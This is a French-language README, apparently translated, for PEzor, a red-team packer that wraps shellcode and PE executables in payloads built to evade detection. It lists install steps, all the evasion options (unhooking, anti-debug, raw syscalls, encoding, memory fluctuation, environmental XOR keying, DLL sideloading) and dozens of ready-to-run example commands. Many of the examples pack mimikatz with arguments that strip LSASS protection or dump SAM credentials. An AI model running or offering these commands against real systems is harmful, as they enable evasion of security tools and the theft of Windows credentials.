
Emballer du shellcode et des exécutables PE dans des payloads évasives avec des techniques anti-débogage, de désaccrochage, d'appel système et de fluctuation mémoire pour les opérations d'équipe rouge.
Lisez les articles de blog ici :
________________
< PEzor!! v3.3.0 >
----------------
\ / \ //\
\ |\___/| / \// \\
/0 0 \__ / // | \ \
/ / \/_/ // | \ \
@_^_@'/ \/_ // | \ \
//_^_/ \/_ // | \ \
( //) | \/// | \ \
( / /) _|_ / ) // | \ _\
( // /) '/,_ _ _/ ( ; -. | _ _\.-~ .-~~~^-.
(( / / )) ,-{ _ `-.|.-~-. .~ `.
(( // / )) '/\ / ~-. _ .-~ .-~^-. \
(( /// )) `. { } / \ \
(( / )) .----~-.\ \-' .~ \ `. \^-.
///.----..> \ _ -~ `. ^-` ^-_
///-._ _ _ _ _ _ _}^ - - - - ~ ~-- ,.-~
/.-~
---------------------------------------------------------------------------
Le script install.sh est conçu pour fonctionner sur une distribution Kali Linux.
$ git clone https://github.com/phra/PEzor.git
$ cd PEzor
$ sudo bash install.sh
$ bash PEzor.sh -h
La variable PATH doit être mise à jour pour utiliser un commit spécifique de Donut ! Consultez le script install.sh mis à jour.
PEzor helpaffiche l'aide pour PEzor
USAGE
$ PEzor help
PEzor <EXECUTABLE>Empaquette l'exécutable fourni en un nouveau
OPTIONS
-h Affiche l'utilisation et quitte
-32 Forcer un exécutable 32 bits
-64 Forcer un exécutable 64 bits
-debug Générer une version de débogage
-unhook Suppression des hooks espace utilisateur
-antidebug Ajouter des vérifications anti-débogage
-syscalls Utiliser les appels système bruts [64 bits uniquement] [Windows 10 uniquement]
-sgn Encoder le shellcode généré avec sgn
-text Stocker le shellcode dans la section .text au lieu de .data
-rx Allouer de la mémoire RX pour le shellcode
-self Exécuter le shellcode dans le même thread
-sdk=VERSION Utiliser une version spécifique du framework .NET (2, 4, 4.5 (par défaut))
-cleanup Effectuer le nettoyage de la charge utile allouée et des modules chargés (uniquement pour les BOFs)
-sleep=N Attendre N secondes avant de décompresser le shellcode
-format=FORMAT Générer le résultat dans le FORMAT spécifié (exe, dll, reflective-dll, service-exe, service-dll, dotnet, dotnet-createsection, dotnet-pinvoke)
-fluctuate=PROTECTION Faire fluctuer la région mémoire vers la PROTECTION (RW ou NA) en hookant Sleep()
-xorkey=KEY Chiffrer la charge utile avec un XOR multioctet simple, il récupère la clé à l'exécution en utilisant GetComputerNameExA(ComputerNameDnsFullyQualified)
[donut args...] Après l'exécutable à empaqueter, vous pouvez passer des arguments supplémentaires à Donut, comme -z 2
EXEMPLES
# 64 bits (auto-injection RWX)
$ PEzor.sh -unhook -antidebug -text -self -sleep=120 mimikatz/x64/mimikatz.exe -z 2
# 64 bits (auto-injection RX)
$ PEzor.sh -unhook -antidebug -text -self -rx -sleep=120 mimikatz/x64/mimikatz.exe -z 2
# 64 bits (appels système bruts)
$ PEzor.sh -sgn -unhook -antidebug -text -syscalls -sleep=120 mimikatz/x64/mimikatz.exe -z 2
# 64 bits (fluctuation en READWRITE pendant le sommeil)
$ PEzor.sh -fluctuate=RW -sleep=120 mimikatz/x64/mimikatz.exe -z 2 -p '"coffee" "sleep 5000" "coffee" "exit"'
# 64 bits (fluctuation en NOACCESS pendant le sommeil)
$ PEzor.sh -fluctuate=NA -sleep=120 mimikatz/x64/mimikatz.exe -z 2 -p '"coffee" "sleep 5000" "coffee" "exit"'
# 64 bits (utilisation du clavier environnemental avec GetComputerNameExA)
$ PEzor.sh -xorkey=MY-FQDN-COMPUTER-NAME -sleep=120 mimikatz/x64/mimikatz.exe -z 2 -p '"coffee" "sleep 5000" "coffee" "exit"'
# 64 bits (prise en charge des EXE avec ressources en conservant les en-têtes PE en mémoire)
$ PEzor.sh -sleep=120 mimikatz/x64/mimikatz.exe -z 2 -k 2 -p '"!+" "!processprotect" "/process:lsass.exe" "/remove" "!-" "exit"'
# 64 bits (fichier objet beacon)
$ PEzor.sh -format=bof mimikatz/x64/mimikatz.exe -z 2 -p '"log c:\users\public\mimi.out" "token::whoami" "exit"'
# 64 bits (fichier objet beacon avec nettoyage)
$ PEzor.sh -format=bof -cleanup mimikatz/x64/mimikatz.exe -z 2 -p '"log c:\users\public\mimi.out" "token::whoami" "exit"'
# 64 bits (dll)
$ PEzor.sh -format=dll mimikatz/x64/mimikatz.exe -z 2 -p '\"log c:\users\public\mimi.out\" \"token::whoami\" \"exit\"'
# 64 bits (dll sideload)
$ PEzor.sh -format=dll -dll-sideload=version.dll mimikatz/x64/mimikatz.exe -z 2 -p '\"log c:\users\public\mimi.out\" \"token::whoami\" \"exit\"'
# 64 bits (dll réflexive)
$ PEzor.sh -format=reflective-dll mimikatz/x64/mimikatz.exe -z 2 -p '"log c:\users\public\mimi.out" "token::whoami" "exit"'
# 64 bits (exe de service)
$ PEzor.sh -format=service-exe mimikatz/x64/mimikatz.exe -z 2 -p '"log c:\users\public\mimi.out" "token::whoami" "exit"'
# 64 bits (dll de service)
$ PEzor.sh -format=service-dll mimikatz/x64/mimikatz.exe -z 2 -p '"log c:\users\public\mimi.out" "token::whoami" "exit"'
# 64 bits (dotnet)
$ PEzor.sh -format=dotnet -sleep=120 mimikatz/x64/mimikatz.exe -z 2 -p '"log c:\users\public\mimi.out" "token::whoami" "exit"'
# 64 bits (dotnet-pinvoke)
$ PEzor.sh -format=dotnet-pinvoke -sleep=120 mimikatz/x64/mimikatz.exe -z 2 -p '"log c:\users\public\mimi.out" "token::whoami" "exit"'
# 64 bits (dotnet-createsection)
$ PEzor.sh -format=dotnet-createsection -sleep=120 mimikatz/x64/mimikatz.exe -z 2 -p '"log c:\users\public\mimi.out" "token::whoami" "exit"'
# 32 bits (auto-injection)
$ PEzor.sh -unhook -antidebug -text -self -sleep=120 mimikatz/Win32/mimikatz.exe -z 2
# 32 bits (API Win32 : VirtualAlloc/WriteProcessMemory/CreateRemoteThread)
$ PEzor.sh -sgn -unhook -antidebug -text -sleep=120 mimikatz/Win32/mimikatz.exe -z 2
# 32 bits (API Win32 : VirtualAlloc/WriteProcessMemory/CreateRemoteThread) et arguments pour donut
$ PEzor.sh -sgn -unhook -antidebug -text -sleep=120 mimikatz/Win32/mimikatz.exe -z 2 "-plsadump::sam /system:SystemBkup.hiv /sam:SamBkup.hiv"
PEzor <SHELLCODE>Empaquette le shellcode fourni en un exécutable
USAGE
$ PEzor <-32|-64> [options...] <SHELLCODE>
OPTIONS
-h Affiche l'utilisation et quitte
-32 Forcer un exécutable 32 bits
-64 Forcer un exécutable 64 bits
-debug Générer une version de débogage
-unhook Suppression des hooks espace utilisateur
-antidebug Ajouter des vérifications anti-débogage
-shellcode Forcer la détection de shellcode
-syscalls Utiliser les appels système bruts [64 bits uniquement] [Windows 10 uniquement]
-sgn Encoder le shellcode fourni avec sgn
-text Stocker le shellcode dans la section .text au lieu de .data
-rx Allouer de la mémoire RX pour le shellcode
-self Exécuter le shellcode dans le même thread [nécessite un shellcode RX, non compatible avec -sgn]
-cleanup Effectuer le nettoyage de la charge utile allouée et des modules chargés (uniquement pour les BOFs)
-sleep=N Attendre N secondes avant de décompresser le shellcode
-format=FORMAT Générer le résultat dans le FORMAT spécifié (exe, dll, reflective-dll, service-exe, service-dll, dotnet, dotnet-createsection, dotnet-pinvoke)
-fluctuate=PROTECTION Faire fluctuer la région mémoire vers la PROTECTION (RW ou NA) en hookant Sleep()
-xorkey=KEY Chiffrer la charge utile avec un XOR multioctet simple, il récupère la clé à l'exécution en utilisant GetComputerNameExA(ComputerNameDnsFullyQualified)
EXEMPLES
# 64 bits (auto-injection RWX)
$ PEzor.sh shellcode.bin
# 64 bits (auto-injection RX)
$ PEzor.sh -unhook -antidebug -text -self -rx -sleep=120 shellcode.bin
# 64 bits (auto-injection)
$ PEzor.sh -unhook -antidebug -text -self -sleep=120 shellcode.bin
# 64 bits (appels système bruts)
$ PEzor.sh -sgn -unhook -antidebug -text -syscalls -sleep=120 shellcode.bin
# 64 bits (fluctuation en READWRITE pendant le sommeil)
$ PEzor.sh -fluctuate=RW shellcode.bin
# 64 bits (fluctuation en NOACCESS pendant le sommeil)
$ PEzor.sh -fluctuate=NA shellcode.bin
# 64 bits (utilisation du clavier environnemental avec GetComputerNameExA)
$ PEzor.sh -xorkey=MY-FQDN-MACHINE-NAME shellcode.bin
# 64 bits (fichier objet beacon)
$ PEzor.sh -format=bof shellcode.bin
# 64 bits (fichier objet beacon avec nettoyage)
$ PEzor.sh -format=bof -cleanup shellcode.bin
# 64 bits (dll)
$ PEzor.sh -format=dll shellcode.bin
# 64 bits (dll sideload)
$ PEzor.sh -format=dll -dll-sideload=version.dll shellcode.bin
# 64 bits (dll réflexive)
$ PEzor.sh -format=reflective-dll shellcode.bin
# 64 bits (exe de service)
$ PEzor.sh -format=service-exe shellcode.bin
# 64 bits (dll de service)
$ PEzor.sh -format=service-dll shellcode.bin
# 64 bits (dotnet)
$ PEzor.sh -format=dotnet shellcode.bin
# 64 bits (dotnet-pinvoke)
$ PEzor.sh -format=dotnet-pinvoke shellcode.bin
# 64 bits (dotnet-createsection)
$ PEzor.sh -format=dotnet-createsection shellcode.bin
# 32 bits (auto-injection)
$ PEzor.sh -unhook -antidebug -text -self -sleep=120 shellcode.bin
# 32 bits (API Win32 : VirtualAlloc/WriteProcessMemory/CreateRemoteThread)
$ PEzor.sh -sgn -unhook -antidebug -text -sleep=120 shellcode.bin
Voir le code : PEzor.sh